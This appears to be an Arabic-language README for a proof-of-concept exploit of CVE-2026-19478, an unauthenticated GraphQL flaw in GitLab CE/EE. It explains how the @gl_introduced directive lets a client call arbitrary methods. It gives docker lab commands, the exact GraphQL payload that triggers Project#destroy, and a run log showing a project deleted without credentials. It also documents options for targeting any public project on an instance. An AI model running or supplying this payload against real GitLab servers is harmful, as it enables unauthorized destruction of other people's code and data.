
إثبات مفهوم لاستغلال CVE-2026-19478، وهو حقن GraphQL غير مصادق عليه في GitLab CE/EE يسمح باستدعاء أساليب عشوائية وحذف المشاريع.
★ CVE-2026-19478 GitLab GraphQL @gl_introduced استدعاء طريقة عشوائية غير مصادق عليه PoC ★
https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b
CVE-2026-19478 هي ثغرة تلاعب/حذف بيانات غير مصادق عليه في GitLab CE/EE (CVSS 9.4). يوفر GitLab توجيه عميل GraphQL
@gl_introduced(version: "X.Y.Z")لتوافقية النشر التدريجي. عندما يستعلم استعلام عن حقل بإصدار أحدث من الخادم الجاري، يقوم أداة التتبع بإزالته قبل التحقق الثابت بحيث يمر الاستعلام بالتحقق، ثم عند التنفيذ يتم حل الحقل غير المعروف بواسطة حقل احتياطي لا يحتوي على محلل. في graphql-ruby، يتم حل الحقل بدون محلل عن طريق استدعاءobject.public_send(field_name)— لذا يمكن للعميل تسمية حقل يساوي أي طريقة بدون وسائط على الكائن الذي يتم حله حاليًا، ويقوم الخادم باستدعائها. حل مشروع عام وطلب "حقل مستقبلي" باسمdestroyيؤدي بالتالي إلى تشغيلProject#destroy— حذف مشروع عام (أو تعديل بيانات مستخدم) بدون حساب أو رمز أو تفاعل مستخدم.
| الفئة | الإصدار |
|---|---|
| المتأثرة | GitLab CE/EE 18.2 – 18.11.10, 19.0.0 – 19.0.7, 19.1.0 – 19.1.5, 19.2.0 – 19.2.3 |
| المصححة | 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 أو أحدث |
Resolvers::NilResolver (يعيد nil، ولا يستدعي أي طريقة)قم ببناء وتشغيل GitLab المتأثر. يقوم بإنشاء مستودع عام victim/demo تلقائيًا يمكنك
حذفه بدون مصادقة. يستغرق GitLab حوالي 3–5 دقائق لإنهاء إعادة التكوين والإنشاء.
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
| الشرط المسبق | الحالة في هذا المختبر |
|---|---|
| GitLab 18.2 – 19.2.3 | 19.2.2 |
| مشروع عام يمكن الوصول إليه مجهولًا | victim/demo (تم إنشاؤه) |
| نقطة نهاية GraphQL غير مصادق عليها يمكن الوصول إليها | /api/graphql مكشوفة |
يقوم الاستغلال gitlab_exploit.py بحذف أي مستودع عام تشير إليه، بدون
بيانات اعتماد. يرسل حمولة @gl_introduced التي تحول اسم حقل GraphQL destroy
إلى استدعاء Project#destroy، ثم يؤكد الحذف عبر REST API (404).
# python3 gitlab_exploit.py <target ip:port> --repo <group/name>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
[*] target ......... http://172.17.0.2:3000
[*] BEFORE (REST) .. GET /api/v4/projects/victim/demo -> HTTP 200 (exists)
[*] PAYLOAD (unauth) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ....... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] waiting for async delete to finish ...
[+] AFTER (REST) ... GET /api/v4/projects/victim/demo -> HTTP 404
[!] SUCCESS - the UNAUTHENTICATED request DELETED 'victim/demo'. CVE-2026-19478 proven.
الخيارات:
--detect — فحص آمن غير مدمر (يستدعي طريقة to_param غير الضارة بدلاً من destroy)--repo group/name — استهداف أي مشروع عام على المثيل--insecure — تخطي التحقق من TLS لأهداف https://@gl_introduced / مسار تصفية الإصدار عند وكيل عكسي، أو قيّد الوصول غير المصادق عليه إلى /api/graphql